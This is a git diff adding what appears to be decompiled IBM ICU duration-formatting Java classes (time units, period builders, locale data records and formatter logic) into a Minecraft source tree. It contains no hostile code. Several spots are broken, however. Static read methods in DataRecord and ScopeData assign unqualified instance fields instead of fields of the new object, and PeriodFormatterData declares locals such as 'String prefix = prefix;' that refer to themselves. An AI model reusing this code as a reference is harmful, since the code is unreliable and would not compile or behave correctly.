diff --git a/src/minecraft/com/ibm/icu/impl/duration/SingleUnitBuilder.java b/src/minecraft/com/ibm/icu/impl/duration/SingleUnitBuilder.java
new file mode 100644
index 0000000..96a334c
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/duration/SingleUnitBuilder.java
@@ -0,0 +1,417 @@
+package com.ibm.icu.impl.duration;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class SingleUnitBuilder
+  extends PeriodBuilderImpl
+{
+  SingleUnitBuilder(BasicPeriodBuilderFactory.Settings settings)
+  {
+    super(settings);
+  }
+  
+  public static SingleUnitBuilder get(BasicPeriodBuilderFactory.Settings settings) {
+    if (settings == null) {
+      return null;
+    }
+    return new SingleUnitBuilder(settings);
+  }
+  
+  protected PeriodBuilder withSettings(BasicPeriodBuilderFactory.Settings settingsToUse) {
+    return get(settingsToUse);
+  }
+  
+  protected Period handleCreate(long duration, long referenceDate, boolean inPast)
+  {
+    short uset = settings.effectiveSet();
+    for (int i = 0; i < TimeUnit.units.length; i++) {
+      if (0 != (uset & 1 << i)) {
+        TimeUnit unit = TimeUnit.units[i];
+        long unitDuration = approximateDurationOf(unit);
+        if (duration >= unitDuration) {
+          return Period.at((float)(duration / unitDuration), unit).inPast(inPast);
+        }
+      }
+    }
+    
+    return null;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/duration/TimeUnit.java b/src/minecraft/com/ibm/icu/impl/duration/TimeUnit.java
new file mode 100644
index 0000000..a31b6f8
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/duration/TimeUnit.java
@@ -0,0 +1,82 @@
+package com.ibm.icu.impl.duration;
+
+
+
+
+
+
+public final class TimeUnit
+{
+  final String name;
+  
+
+
+
+  final byte ordinal;
+  
+
+
+
+
+  private TimeUnit(String name, int ordinal)
+  {
+    this.name = name;
+    this.ordinal = ((byte)ordinal);
+  }
+  
+  public String toString() {
+    return name;
+  }
+  
+
+  public static final TimeUnit YEAR = new TimeUnit("year", 0);
+  
+
+  public static final TimeUnit MONTH = new TimeUnit("month", 1);
+  
+
+  public static final TimeUnit WEEK = new TimeUnit("week", 2);
+  
+
+  public static final TimeUnit DAY = new TimeUnit("day", 3);
+  
+
+  public static final TimeUnit HOUR = new TimeUnit("hour", 4);
+  
+
+  public static final TimeUnit MINUTE = new TimeUnit("minute", 5);
+  
+
+  public static final TimeUnit SECOND = new TimeUnit("second", 6);
+  
+
+  public static final TimeUnit MILLISECOND = new TimeUnit("millisecond", 7);
+  
+  public TimeUnit larger()
+  {
+    return ordinal == 0 ? null : units[(ordinal - 1)];
+  }
+  
+  public TimeUnit smaller()
+  {
+    return ordinal == units.length - 1 ? null : units[(ordinal + 1)];
+  }
+  
+
+  static final TimeUnit[] units = { YEAR, MONTH, WEEK, DAY, HOUR, MINUTE, SECOND, MILLISECOND };
+  
+
+
+  public int ordinal()
+  {
+    return ordinal;
+  }
+  
+
+
+
+
+
+
+  static final long[] approxDurations = { 31557600000L, 2630880000L, 604800000L, 86400000L, 3600000L, 60000L, 1000L, 1L };
+}
diff --git a/src/minecraft/com/ibm/icu/impl/duration/TimeUnitConstants.java b/src/minecraft/com/ibm/icu/impl/duration/TimeUnitConstants.java
new file mode 100644
index 0000000..f134f2d
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/duration/TimeUnitConstants.java
@@ -0,0 +1,37 @@
+package com.ibm.icu.impl.duration;
+
+
+
+
+
+
+
+
+
+
+
+public abstract interface TimeUnitConstants
+{
+  public static final TimeUnit YEAR = TimeUnit.YEAR;
+  
+
+  public static final TimeUnit MONTH = TimeUnit.MONTH;
+  
+
+  public static final TimeUnit WEEK = TimeUnit.WEEK;
+  
+
+  public static final TimeUnit DAY = TimeUnit.DAY;
+  
+
+  public static final TimeUnit HOUR = TimeUnit.HOUR;
+  
+
+  public static final TimeUnit MINUTE = TimeUnit.MINUTE;
+  
+
+  public static final TimeUnit SECOND = TimeUnit.SECOND;
+  
+
+  public static final TimeUnit MILLISECOND = TimeUnit.MILLISECOND;
+}
diff --git a/src/minecraft/com/ibm/icu/impl/duration/impl/DataRecord.java b/src/minecraft/com/ibm/icu/impl/duration/impl/DataRecord.java
new file mode 100644
index 0000000..3dfb7eb
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/duration/impl/DataRecord.java
@@ -0,0 +1,311 @@
+package com.ibm.icu.impl.duration.impl;
+
+import java.util.ArrayList;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+public class DataRecord
+{
+  byte pl;
+  String[][] pluralNames;
+  byte[] genders;
+  String[] singularNames;
+  String[] halfNames;
+  String[] numberNames;
+  String[] mediumNames;
+  String[] shortNames;
+  String[] measures;
+  String[] rqdSuffixes;
+  String[] optSuffixes;
+  String[] halves;
+  byte[] halfPlacements;
+  byte[] halfSupport;
+  String fifteenMinutes;
+  String fiveMinutes;
+  boolean requiresDigitSeparator;
+  String digitPrefix;
+  String countSep;
+  String shortUnitSep;
+  String[] unitSep;
+  boolean[] unitSepRequiresDP;
+  boolean[] requiresSkipMarker;
+  byte numberSystem;
+  char zero;
+  char decimalSep;
+  boolean omitSingularCount;
+  boolean omitDualCount;
+  byte zeroHandling;
+  byte decimalHandling;
+  byte fractionHandling;
+  String skippedUnitMarker;
+  boolean allowZero;
+  boolean weeksAloneOnly;
+  byte useMilliseconds;
+  ScopeData[] scopeData;
+  
+  public DataRecord() {}
+  
+  public static DataRecord read(String ln, RecordReader in)
+  {
+    if (in.open("DataRecord")) {
+      DataRecord record = new DataRecord();
+      pl = in.namedIndex("pl", EPluralization.names);
+      pluralNames = in.stringTable("pluralName");
+      genders = in.namedIndexArray("gender", EGender.names);
+      singularNames = in.stringArray("singularName");
+      halfNames = in.stringArray("halfName");
+      numberNames = in.stringArray("numberName");
+      mediumNames = in.stringArray("mediumName");
+      shortNames = in.stringArray("shortName");
+      measures = in.stringArray("measure");
+      rqdSuffixes = in.stringArray("rqdSuffix");
+      optSuffixes = in.stringArray("optSuffix");
+      halves = in.stringArray("halves");
+      halfPlacements = in.namedIndexArray("halfPlacement", EHalfPlacement.names);
+      
+      halfSupport = in.namedIndexArray("halfSupport", EHalfSupport.names);
+      
+      fifteenMinutes = in.string("fifteenMinutes");
+      fiveMinutes = in.string("fiveMinutes");
+      requiresDigitSeparator = in.bool("requiresDigitSeparator");
+      digitPrefix = in.string("digitPrefix");
+      countSep = in.string("countSep");
+      shortUnitSep = in.string("shortUnitSep");
+      unitSep = in.stringArray("unitSep");
+      unitSepRequiresDP = in.boolArray("unitSepRequiresDP");
+      requiresSkipMarker = in.boolArray("requiresSkipMarker");
+      numberSystem = in.namedIndex("numberSystem", ENumberSystem.names);
+      
+      zero = in.character("zero");
+      decimalSep = in.character("decimalSep");
+      omitSingularCount = in.bool("omitSingularCount");
+      omitDualCount = in.bool("omitDualCount");
+      zeroHandling = in.namedIndex("zeroHandling", EZeroHandling.names);
+      
+      decimalHandling = in.namedIndex("decimalHandling", EDecimalHandling.names);
+      
+      fractionHandling = in.namedIndex("fractionHandling", EFractionHandling.names);
+      
+      skippedUnitMarker = in.string("skippedUnitMarker");
+      allowZero = in.bool("allowZero");
+      weeksAloneOnly = in.bool("weeksAloneOnly");
+      useMilliseconds = in.namedIndex("useMilliseconds", EMilliSupport.names);
+      
+      if (in.open("ScopeDataList")) {
+        List<ScopeData> list = new ArrayList();
+        ScopeData data;
+        while (null != (data = ScopeData.read(in))) {
+          list.add(data);
+        }
+        if (in.close()) {
+          scopeData = ((ScopeData[])list.toArray(new ScopeData[list.size()]));
+        }
+      }
+      
+      if (in.close()) {
+        return record;
+      }
+    } else {
+      throw new InternalError("did not find DataRecord while reading " + ln);
+    }
+    
+    throw new InternalError("null data read while reading " + ln);
+  }
+  
+
+  public void write(RecordWriter out)
+  {
+    out.open("DataRecord");
+    out.namedIndex("pl", EPluralization.names, pl);
+    out.stringTable("pluralName", pluralNames);
+    out.namedIndexArray("gender", EGender.names, genders);
+    out.stringArray("singularName", singularNames);
+    out.stringArray("halfName", halfNames);
+    out.stringArray("numberName", numberNames);
+    out.stringArray("mediumName", mediumNames);
+    out.stringArray("shortName", shortNames);
+    out.stringArray("measure", measures);
+    out.stringArray("rqdSuffix", rqdSuffixes);
+    out.stringArray("optSuffix", optSuffixes);
+    out.stringArray("halves", halves);
+    out.namedIndexArray("halfPlacement", EHalfPlacement.names, halfPlacements);
+    
+    out.namedIndexArray("halfSupport", EHalfSupport.names, halfSupport);
+    out.string("fifteenMinutes", fifteenMinutes);
+    out.string("fiveMinutes", fiveMinutes);
+    out.bool("requiresDigitSeparator", requiresDigitSeparator);
+    out.string("digitPrefix", digitPrefix);
+    out.string("countSep", countSep);
+    out.string("shortUnitSep", shortUnitSep);
+    out.stringArray("unitSep", unitSep);
+    out.boolArray("unitSepRequiresDP", unitSepRequiresDP);
+    out.boolArray("requiresSkipMarker", requiresSkipMarker);
+    out.namedIndex("numberSystem", ENumberSystem.names, numberSystem);
+    out.character("zero", zero);
+    out.character("decimalSep", decimalSep);
+    out.bool("omitSingularCount", omitSingularCount);
+    out.bool("omitDualCount", omitDualCount);
+    out.namedIndex("zeroHandling", EZeroHandling.names, zeroHandling);
+    out.namedIndex("decimalHandling", EDecimalHandling.names, decimalHandling);
+    
+    out.namedIndex("fractionHandling", EFractionHandling.names, fractionHandling);
+    
+    out.string("skippedUnitMarker", skippedUnitMarker);
+    out.bool("allowZero", allowZero);
+    out.bool("weeksAloneOnly", weeksAloneOnly);
+    out.namedIndex("useMilliseconds", EMilliSupport.names, useMilliseconds);
+    if (scopeData != null) {
+      out.open("ScopeDataList");
+      for (int i = 0; i < scopeData.length; i++) {
+        scopeData[i].write(out);
+      }
+      out.close();
+    }
+    out.close();
+  }
+  
+  public static class ScopeData { String prefix;
+    boolean requiresDigitPrefix;
+    String suffix;
+    
+    public ScopeData() {}
+    
+    public void write(RecordWriter out) { out.open("ScopeData");
+      out.string("prefix", prefix);
+      out.bool("requiresDigitPrefix", requiresDigitPrefix);
+      out.string("suffix", suffix);
+      out.close();
+    }
+    
+    public static ScopeData read(RecordReader in) {
+      if (in.open("ScopeData")) {
+        ScopeData scope = new ScopeData();
+        prefix = in.string("prefix");
+        requiresDigitPrefix = in.bool("requiresDigitPrefix");
+        suffix = in.string("suffix");
+        if (in.close()) {
+          return scope;
+        }
+      }
+      return null;
+    }
+  }
+  
+  public static abstract interface ETimeLimit {
+    public static final byte NOLIMIT = 0;
+    public static final byte LT = 1;
+    public static final byte MT = 2;
+    public static final String[] names = { "NOLIMIT", "LT", "MT" };
+  }
+  
+  public static abstract interface ETimeDirection {
+    public static final byte NODIRECTION = 0;
+    public static final byte PAST = 1;
+    public static final byte FUTURE = 2;
+    public static final String[] names = { "NODIRECTION", "PAST", "FUTURE" };
+  }
+  
+  public static abstract interface EUnitVariant {
+    public static final byte PLURALIZED = 0;
+    public static final byte MEDIUM = 1;
+    public static final byte SHORT = 2;
+    public static final String[] names = { "PLURALIZED", "MEDIUM", "SHORT" };
+  }
+  
+  public static abstract interface ECountVariant {
+    public static final byte INTEGER = 0;
+    public static final byte INTEGER_CUSTOM = 1;
+    public static final byte HALF_FRACTION = 2;
+    public static final byte DECIMAL1 = 3;
+    public static final byte DECIMAL2 = 4;
+    public static final byte DECIMAL3 = 5;
+    public static final String[] names = { "INTEGER", "INTEGER_CUSTOM", "HALF_FRACTION", "DECIMAL1", "DECIMAL2", "DECIMAL3" };
+  }
+  
+  public static abstract interface EPluralization
+  {
+    public static final byte NONE = 0;
+    public static final byte PLURAL = 1;
+    public static final byte DUAL = 2;
+    public static final byte PAUCAL = 3;
+    public static final byte HEBREW = 4;
+    public static final byte ARABIC = 5;
+    public static final String[] names = { "NONE", "PLURAL", "DUAL", "PAUCAL", "HEBREW", "ARABIC" };
+  }
+  
+  public static abstract interface EHalfPlacement
+  {
+    public static final byte PREFIX = 0;
+    public static final byte AFTER_FIRST = 1;
+    public static final byte LAST = 2;
+    public static final String[] names = { "PREFIX", "AFTER_FIRST", "LAST" };
+  }
+  
+  public static abstract interface ENumberSystem {
+    public static final byte DEFAULT = 0;
+    public static final byte CHINESE_TRADITIONAL = 1;
+    public static final byte CHINESE_SIMPLIFIED = 2;
+    public static final byte KOREAN = 3;
+    public static final String[] names = { "DEFAULT", "CHINESE_TRADITIONAL", "CHINESE_SIMPLIFIED", "KOREAN" };
+  }
+  
+  public static abstract interface EZeroHandling
+  {
+    public static final byte ZPLURAL = 0;
+    public static final byte ZSINGULAR = 1;
+    public static final String[] names = { "ZPLURAL", "ZSINGULAR" };
+  }
+  
+  public static abstract interface EDecimalHandling {
+    public static final byte DPLURAL = 0;
+    public static final byte DSINGULAR = 1;
+    public static final byte DSINGULAR_SUBONE = 2;
+    public static final byte DPAUCAL = 3;
+    public static final String[] names = { "DPLURAL", "DSINGULAR", "DSINGULAR_SUBONE", "DPAUCAL" };
+  }
+  
+  public static abstract interface EFractionHandling
+  {
+    public static final byte FPLURAL = 0;
+    public static final byte FSINGULAR_PLURAL = 1;
+    public static final byte FSINGULAR_PLURAL_ANDAHALF = 2;
+    public static final byte FPAUCAL = 3;
+    public static final String[] names = { "FPLURAL", "FSINGULAR_PLURAL", "FSINGULAR_PLURAL_ANDAHALF", "FPAUCAL" };
+  }
+  
+  public static abstract interface EHalfSupport
+  {
+    public static final byte YES = 0;
+    public static final byte NO = 1;
+    public static final byte ONE_PLUS = 2;
+    public static final String[] names = { "YES", "NO", "ONE_PLUS" };
+  }
+  
+  public static abstract interface EMilliSupport {
+    public static final byte YES = 0;
+    public static final byte NO = 1;
+    public static final byte WITH_SECONDS = 2;
+    public static final String[] names = { "YES", "NO", "WITH_SECONDS" };
+  }
+  
+  public static abstract interface ESeparatorVariant {
+    public static final byte NONE = 0;
+    public static final byte SHORT = 1;
+    public static final byte FULL = 2;
+    public static final String[] names = { "NONE", "SHORT", "FULL" };
+  }
+  
+  public static abstract interface EGender {
+    public static final byte M = 0;
+    public static final byte F = 1;
+    public static final byte N = 2;
+    public static final String[] names = { "M", "F", "N" };
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/duration/impl/PeriodFormatterData.java b/src/minecraft/com/ibm/icu/impl/duration/impl/PeriodFormatterData.java
new file mode 100644
index 0000000..4e338f4
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/duration/impl/PeriodFormatterData.java
@@ -0,0 +1,672 @@
+package com.ibm.icu.impl.duration.impl;
+
+import com.ibm.icu.impl.duration.TimeUnit;
+import java.io.PrintStream;
+import java.util.Arrays;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class PeriodFormatterData
+{
+  final DataRecord dr;
+  String localeName;
+  public static boolean trace = false;
+  private static final int FORM_PLURAL = 0;
+  
+  public PeriodFormatterData(String localeName, DataRecord dr) { this.dr = dr;
+    this.localeName = localeName;
+    if (localeName == null) {
+      throw new NullPointerException("localename is null");
+    }
+    
+    if (dr == null)
+    {
+      throw new NullPointerException("data record is null");
+    }
+  }
+  
+
+
+
+  private static final int FORM_SINGULAR = 1;
+  
+
+
+  private static final int FORM_DUAL = 2;
+  
+
+
+  public int pluralization()
+  {
+    return dr.pl;
+  }
+  
+
+
+
+  public boolean allowZero()
+  {
+    return dr.allowZero;
+  }
+  
+  public boolean weeksAloneOnly() {
+    return dr.weeksAloneOnly;
+  }
+  
+  public int useMilliseconds() {
+    return dr.useMilliseconds;
+  }
+  
+
+
+
+
+
+
+
+
+  public boolean appendPrefix(int tl, int td, StringBuffer sb)
+  {
+    if (dr.scopeData != null) {
+      int ix = tl * 3 + td;
+      DataRecord.ScopeData sd = dr.scopeData[ix];
+      if (sd != null) {
+        String prefix = prefix;
+        if (prefix != null) {
+          sb.append(prefix);
+          return requiresDigitPrefix;
+        }
+      }
+    }
+    return false;
+  }
+  
+
+
+
+
+
+
+
+  public void appendSuffix(int tl, int td, StringBuffer sb)
+  {
+    if (dr.scopeData != null) {
+      int ix = tl * 3 + td;
+      DataRecord.ScopeData sd = dr.scopeData[ix];
+      if (sd != null) {
+        String suffix = suffix;
+        if (suffix != null) {
+          if (trace) {
+            System.out.println("appendSuffix '" + suffix + "'");
+          }
+          sb.append(suffix);
+        }
+      }
+    }
+  }
+  
+
+
+
+  private static final int FORM_PAUCAL = 3;
+  
+
+
+  private static final int FORM_SINGULAR_SPELLED = 4;
+  
+
+
+  private static final int FORM_SINGULAR_NO_OMIT = 5;
+  
+
+
+  private static final int FORM_HALF_SPELLED = 6;
+  
+
+
+  public boolean appendUnit(TimeUnit unit, int count, int cv, int uv, boolean useCountSep, boolean useDigitPrefix, boolean multiple, boolean last, boolean wasSkipped, StringBuffer sb)
+  {
+    int px = unit.ordinal();
+    
+    boolean willRequireSkipMarker = false;
+    if ((dr.requiresSkipMarker != null) && (dr.requiresSkipMarker[px] != 0) && (dr.skippedUnitMarker != null))
+    {
+      if ((!wasSkipped) && (last)) {
+        sb.append(dr.skippedUnitMarker);
+      }
+      willRequireSkipMarker = true;
+    }
+    
+    if (uv != 0) {
+      boolean useMedium = uv == 1;
+      String[] names = useMedium ? dr.mediumNames : dr.shortNames;
+      if ((names == null) || (names[px] == null)) {
+        names = useMedium ? dr.shortNames : dr.mediumNames;
+      }
+      if ((names != null) && (names[px] != null)) {
+        appendCount(unit, false, false, count, cv, useCountSep, names[px], last, sb);
+        
+        return false;
+      }
+    }
+    
+
+    if ((cv == 2) && (dr.halfSupport != null)) {
+      switch (dr.halfSupport[px]) {
+      case 0: 
+        break;
+      case 2:  if (count > 1000) {
+          break;
+        }
+      
+      case 1: 
+        count = count / 500 * 500;
+        cv = 3;
+      }
+      
+    }
+    
+    String name = null;
+    int form = computeForm(unit, count, cv, (multiple) && (last));
+    if (form == 4) {
+      if (dr.singularNames == null) {
+        form = 1;
+        name = dr.pluralNames[px][form];
+      } else {
+        name = dr.singularNames[px];
+      }
+    } else if (form == 5) {
+      name = dr.pluralNames[px][1];
+    } else if (form == 6) {
+      name = dr.halfNames[px];
+    } else {
+      try {
+        name = dr.pluralNames[px][form];
+      } catch (NullPointerException e) {
+        System.out.println("Null Pointer in PeriodFormatterData[" + localeName + "].au px: " + px + " form: " + form + " pn: " + Arrays.toString(dr.pluralNames));
+        throw e;
+      }
+    }
+    if (name == null) {
+      form = 0;
+      name = dr.pluralNames[px][form];
+    }
+    
+    boolean omitCount = (form == 4) || (form == 6) || ((dr.omitSingularCount) && (form == 1)) || ((dr.omitDualCount) && (form == 2));
+    
+
+
+
+    int suffixIndex = appendCount(unit, omitCount, useDigitPrefix, count, cv, useCountSep, name, last, sb);
+    
+    if ((last) && (suffixIndex >= 0)) {
+      String suffix = null;
+      if ((dr.rqdSuffixes != null) && (suffixIndex < dr.rqdSuffixes.length)) {
+        suffix = dr.rqdSuffixes[suffixIndex];
+      }
+      if ((suffix == null) && (dr.optSuffixes != null) && (suffixIndex < dr.optSuffixes.length))
+      {
+        suffix = dr.optSuffixes[suffixIndex];
+      }
+      if (suffix != null) {
+        sb.append(suffix);
+      }
+    }
+    return willRequireSkipMarker;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public int appendCount(TimeUnit unit, boolean omitCount, boolean useDigitPrefix, int count, int cv, boolean useSep, String name, boolean last, StringBuffer sb)
+  {
+    if ((cv == 2) && (dr.halves == null)) {
+      cv = 0;
+    }
+    
+    if ((!omitCount) && (useDigitPrefix) && (dr.digitPrefix != null)) {
+      sb.append(dr.digitPrefix);
+    }
+    
+    int index = unit.ordinal();
+    switch (cv) {
+    case 0: 
+      if (!omitCount) {
+        appendInteger(count / 1000, 1, 10, sb);
+      }
+      
+      break;
+    case 1: 
+      int val = count / 1000;
+      
+      if ((unit == TimeUnit.MINUTE) && ((dr.fiveMinutes != null) || (dr.fifteenMinutes != null)))
+      {
+        if ((val != 0) && (val % 5 == 0)) {
+          if ((dr.fifteenMinutes != null) && ((val == 15) || (val == 45))) {
+            val = val == 15 ? 1 : 3;
+            if (!omitCount) appendInteger(val, 1, 10, sb);
+            name = dr.fifteenMinutes;
+            index = 8;
+            break;
+          }
+          if (dr.fiveMinutes != null) {
+            val /= 5;
+            if (!omitCount) appendInteger(val, 1, 10, sb);
+            name = dr.fiveMinutes;
+            index = 9;
+            break;
+          }
+        }
+      }
+      if (!omitCount) appendInteger(val, 1, 10, sb);
+      break;
+    
+
+    case 2: 
+      int v = count / 500;
+      if ((v != 1) && 
+        (!omitCount)) { appendCountValue(count, 1, 0, sb);
+      }
+      if ((v & 0x1) == 1)
+      {
+        if ((v == 1) && (dr.halfNames != null) && (dr.halfNames[index] != null)) {
+          sb.append(name);
+          return last ? index : -1;
+        }
+        
+        int solox = v == 1 ? 0 : 1;
+        if ((dr.genders != null) && (dr.halves.length > 2) && 
+          (dr.genders[index] == 1)) {
+          solox += 2;
+        }
+        
+        int hp = dr.halfPlacements == null ? 0 : dr.halfPlacements[(solox & 0x1)];
+        
+
+        String half = dr.halves[solox];
+        String measure = dr.measures == null ? null : dr.measures[index];
+        switch (hp) {
+        case 0: 
+          sb.append(half);
+          break;
+        case 1: 
+          if (measure != null) {
+            sb.append(measure);
+            sb.append(half);
+            if ((useSep) && (!omitCount)) {
+              sb.append(dr.countSep);
+            }
+            sb.append(name);
+          } else {
+            sb.append(name);
+            sb.append(half);
+            return last ? index : -1;
+          }
+          return -1;
+        case 2: 
+          if (measure != null) {
+            sb.append(measure);
+          }
+          if ((useSep) && (!omitCount)) {
+            sb.append(dr.countSep);
+          }
+          sb.append(name);
+          sb.append(half);
+          return last ? index : -1;
+        }
+      }
+      break;
+    default: 
+      int decimals = 1;
+      switch (cv) {
+      case 4:  decimals = 2; break;
+      case 5:  decimals = 3; break;
+      }
+      
+      if (!omitCount) appendCountValue(count, 1, decimals, sb);
+      break;
+    }
+    if ((!omitCount) && (useSep)) {
+      sb.append(dr.countSep);
+    }
+    if ((!omitCount) && (dr.measures != null) && (index < dr.measures.length)) {
+      String measure = dr.measures[index];
+      if (measure != null) {
+        sb.append(measure);
+      }
+    }
+    sb.append(name);
+    return last ? index : -1;
+  }
+  
+
+
+
+
+
+
+
+
+  public void appendCountValue(int count, int integralDigits, int decimalDigits, StringBuffer sb)
+  {
+    int ival = count / 1000;
+    if (decimalDigits == 0) {
+      appendInteger(ival, integralDigits, 10, sb);
+      return;
+    }
+    
+    if ((dr.requiresDigitSeparator) && (sb.length() > 0)) {
+      sb.append(' ');
+    }
+    appendDigits(ival, integralDigits, 10, sb);
+    int dval = count % 1000;
+    if (decimalDigits == 1) {
+      dval /= 100;
+    } else if (decimalDigits == 2) {
+      dval /= 10;
+    }
+    sb.append(dr.decimalSep);
+    appendDigits(dval, decimalDigits, decimalDigits, sb);
+    if (dr.requiresDigitSeparator) {
+      sb.append(' ');
+    }
+  }
+  
+  public void appendInteger(int num, int mindigits, int maxdigits, StringBuffer sb)
+  {
+    if ((dr.numberNames != null) && (num < dr.numberNames.length)) {
+      String name = dr.numberNames[num];
+      if (name != null) {
+        sb.append(name);
+        return;
+      }
+    }
+    
+    if ((dr.requiresDigitSeparator) && (sb.length() > 0)) {
+      sb.append(' ');
+    }
+    switch (dr.numberSystem) {
+    case 0:  appendDigits(num, mindigits, maxdigits, sb); break;
+    case 1:  sb.append(Utils.chineseNumber(num, Utils.ChineseDigits.TRADITIONAL));
+      break;
+    case 2:  sb.append(Utils.chineseNumber(num, Utils.ChineseDigits.SIMPLIFIED));
+      break;
+    case 3:  sb.append(Utils.chineseNumber(num, Utils.ChineseDigits.KOREAN));
+    }
+    
+    if (dr.requiresDigitSeparator) {
+      sb.append(' ');
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public void appendDigits(long num, int mindigits, int maxdigits, StringBuffer sb)
+  {
+    char[] buf = new char[maxdigits];
+    int ix = maxdigits;
+    while ((ix > 0) && (num > 0L)) {
+      buf[(--ix)] = ((char)(int)(dr.zero + num % 10L));
+      num /= 10L;
+    }
+    for (int e = maxdigits - mindigits; ix > e;) {
+      buf[(--ix)] = dr.zero;
+    }
+    sb.append(buf, ix, maxdigits - ix);
+  }
+  
+
+
+
+  public void appendSkippedUnit(StringBuffer sb)
+  {
+    if (dr.skippedUnitMarker != null) {
+      sb.append(dr.skippedUnitMarker);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public boolean appendUnitSeparator(TimeUnit unit, boolean longSep, boolean afterFirst, boolean beforeLast, StringBuffer sb)
+  {
+    if (((longSep) && (dr.unitSep != null)) || (dr.shortUnitSep != null)) {
+      if ((longSep) && (dr.unitSep != null)) {
+        int ix = (afterFirst ? 2 : 0) + (beforeLast ? 1 : 0);
+        sb.append(dr.unitSep[ix]);
+        return (dr.unitSepRequiresDP != null) && (dr.unitSepRequiresDP[ix] != 0);
+      }
+      sb.append(dr.shortUnitSep);
+    }
+    return false;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private int computeForm(TimeUnit unit, int count, int cv, boolean lastOfMultiple)
+  {
+    if (trace) {
+      System.err.println("pfd.cf unit: " + unit + " count: " + count + " cv: " + cv + " dr.pl: " + dr.pl);
+      Thread.dumpStack();
+    }
+    if (dr.pl == 0) {
+      return 0;
+    }
+    
+
+    int val = count / 1000;
+    
+    switch (cv)
+    {
+    case 0: 
+    case 1: 
+      break;
+    case 2: 
+      switch (dr.fractionHandling) {
+      case 0: 
+        return 0;
+      
+
+
+
+      case 1: 
+      case 2: 
+        int v = count / 500;
+        if (v == 1) {
+          if ((dr.halfNames != null) && (dr.halfNames[unit.ordinal()] != null)) {
+            return 6;
+          }
+          return 5;
+        }
+        if ((v & 0x1) == 1) {
+          if ((dr.pl == 5) && (v > 21)) {
+            return 5;
+          }
+          if ((v == 3) && (dr.pl == 1) && (dr.fractionHandling != 2))
+          {
+            return 0;
+          }
+        }
+        
+
+        break;
+      
+      case 3: 
+        int v = count / 500;
+        if ((v == 1) || (v == 3)) {
+          return 3;
+        }
+        
+        break;
+      
+      default: 
+        throw new IllegalStateException();
+      }
+      break;
+    default: 
+      switch (dr.decimalHandling) {
+      case 0: 
+        break; case 1:  return 5;
+      case 2: 
+        if (count < 1000) {
+          return 5;
+        }
+        break;
+      case 3: 
+        if (dr.pl == 3) {
+          return 3;
+        }
+        
+        break;
+      }
+      
+      return 0;
+    }
+    
+    
+
+    if ((trace) && (count == 0)) {
+      System.err.println("EZeroHandling = " + dr.zeroHandling);
+    }
+    if ((count == 0) && (dr.zeroHandling == 1)) {
+      return 4;
+    }
+    
+    int form = 0;
+    switch (dr.pl) {
+    case 0: 
+      break;
+    case 1:  if (val == 1) {
+        form = 4;
+      }
+      break;
+    case 2: 
+      if (val == 2) {
+        form = 2;
+      } else if (val == 1) {
+        form = 1;
+      }
+      break;
+    case 3: 
+      int v = val;
+      v %= 100;
+      if (v > 20) {
+        v %= 10;
+      }
+      if (v == 1) {
+        form = 1;
+      } else if ((v > 1) && (v < 5)) {
+        form = 3;
+      }
+      break;
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    case 4: 
+      if (val == 2) {
+        form = 2;
+      } else if (val == 1) {
+        if (lastOfMultiple) {
+          form = 4;
+        } else {
+          form = 1;
+        }
+      } else if ((unit == TimeUnit.YEAR) && (val > 11)) {
+        form = 5;
+      }
+      break;
+    case 5: 
+      if (val == 2) {
+        form = 2;
+      } else if (val == 1) {
+        form = 1;
+      } else if (val > 10) {
+        form = 5;
+      }
+      break;
+    default: 
+      System.err.println("dr.pl is " + dr.pl);
+      throw new IllegalStateException();
+    }
+    
+    return form;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/duration/impl/PeriodFormatterDataService.java b/src/minecraft/com/ibm/icu/impl/duration/impl/PeriodFormatterDataService.java
new file mode 100644
index 0000000..0af42e3
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/duration/impl/PeriodFormatterDataService.java
@@ -0,0 +1,12 @@
+package com.ibm.icu.impl.duration.impl;
+
+import java.util.Collection;
+
+public abstract class PeriodFormatterDataService
+{
+  public PeriodFormatterDataService() {}
+  
+  public abstract PeriodFormatterData get(String paramString);
+  
+  public abstract Collection<String> getAvailableLocales();
+}
